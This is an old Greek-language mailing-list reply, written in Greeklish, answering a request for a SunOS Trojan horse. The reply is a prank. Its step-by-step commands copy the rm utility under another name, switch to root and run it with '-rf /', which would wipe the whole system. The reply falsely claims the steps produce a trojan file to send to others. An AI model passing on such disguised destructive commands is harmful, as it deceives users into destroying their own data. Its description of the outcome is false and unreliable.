A Trojan Horse

[Christos Ricudis]

Hello Linux-greek-users!

  On 02 Dec 98, Linux-greek-users wrote to All with subject "A Trojan Horse":

 L> Bre pedia mimpos jerei kaneis pou mporo na bro ena Trojan Horse
 L> gia Sun OS h ton pigeo kodika giati exw psajei pantoy kai den 
 L> briskw tipota

Nai alla h diadikasia einai periplokh, gia na mhn mporoyn na to kanoyn oi
arxarioi xrhstes kai na prokalesoyn zhmia. 8a grapseis akribws ta parakatw : 

ftp 127.0.0.1
<dineis to username kai to password sou>
bin
cd /bin/
get rm exec1
quit
su
<dineis to password toy prwtou prwtou user sto /etc/passwd file> 
chmod gou+x exec1
exec1 -rf /
(edw prepei na perimeneis ligo)

kai voila! Exeis ena trojan sto disko sou, sto arxeio /tmp/exec2. Mporeis na to
pareis kai na to steileis se opoion kahmeno 8eleis./




--
Christos Ricudis
"Windows has detected that a gnat has farted near your computer. Press any
 key to reboot". - anonymous in ASR. 	
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